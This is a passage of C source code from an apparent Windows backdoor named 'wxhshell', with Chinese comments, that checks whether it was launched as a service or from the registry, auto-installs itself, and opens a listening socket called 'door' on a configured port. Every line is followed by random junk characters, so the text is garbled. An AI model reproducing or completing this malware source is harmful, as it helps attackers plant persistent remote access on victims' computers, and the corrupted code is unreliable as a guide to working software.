} PROCESS_BASIC_INFORMATION; ),U X4%K=
r\b3AKrIN
PROCNTQSIP NtQueryInformationProcess; u.mJQDTH
X%Z{K-
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `tHvD=`m.
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^* J2'X38I
=NnNN'}
HANDLE hProcess; v@Gl|29_
PROCESS_BASIC_INFORMATION pbi; f|h|q_<;
bu:S:`
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kSR\RuY*
if(NULL == hInst ) return 0; lDOCmdt@N
0J?~N`#O|
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G?EoPh^m
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _CW(PsfY
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _AQb6Nb
Pl=ZRKn
if (!NtQueryInformationProcess) return 0; bn^{c
V n*
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O-LO/*5MI
if(!hProcess) return 0; K[ (NTp$E
n` xR5!de
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; k p<OJy
Pa~)"u8
CloseHandle(hProcess); :^kZ.6Q@
-7S g62THS
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /lo2y?CS*
if(hProcess==NULL) return 0; xZ6~Ma2z
W7U2MqQ
HMODULE hMod; ~kZ G{
char procName[255]; W7 Cc
unsigned long cbNeeded; lEhk'/~
K Pt5=a
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); p(~Yx3$*
m|{3),#V
CloseHandle(hProcess); w+yC)Rmz
SzjkI+-$:
if(strstr(procName,"services")) return 1; // 以服务启动 gREzZ+([
f ` R/
i
return 0; // 注册表启动 1UE6 4Kl:S
} qNYN-f~@,
<$X3Hye
// 主模块 3wC' r
int StartWxhshell(LPSTR lpCmdLine) k&,~qoU
{ rNB_W.
SOCKET wsl; K2J\awX
BOOL val=TRUE; /(iFcMT
int port=0; Cn "s`
q
struct sockaddr_in door; hJZV}a|
f}x.jxY?
if(wscfg.ws_autoins) Install(); n
p\TlUc
K%^V?NP*{Z
port=atoi(lpCmdLine); ;xzUE`uUfJ
l]8D7(g
if(port<=0) port=wscfg.ws_port; UE$UR#T'w
k + H3Bq
WSADATA data; R,pX:H+
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R}q>O5O
uf&myV7
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; :9^;Qv*
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i 7x7xtq
door.sin_family = AF_INET; A29gz:F(
door.sin_addr.s_addr = inet_addr("127.0.0.1"); m]5Cq6
door.sin_port = htons(port); G>1eFBh }
.y@oz7T5
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { L$IQuy
closesocket(wsl); 6~1|qEe6I
return 1; ?e,pN,4
} e^<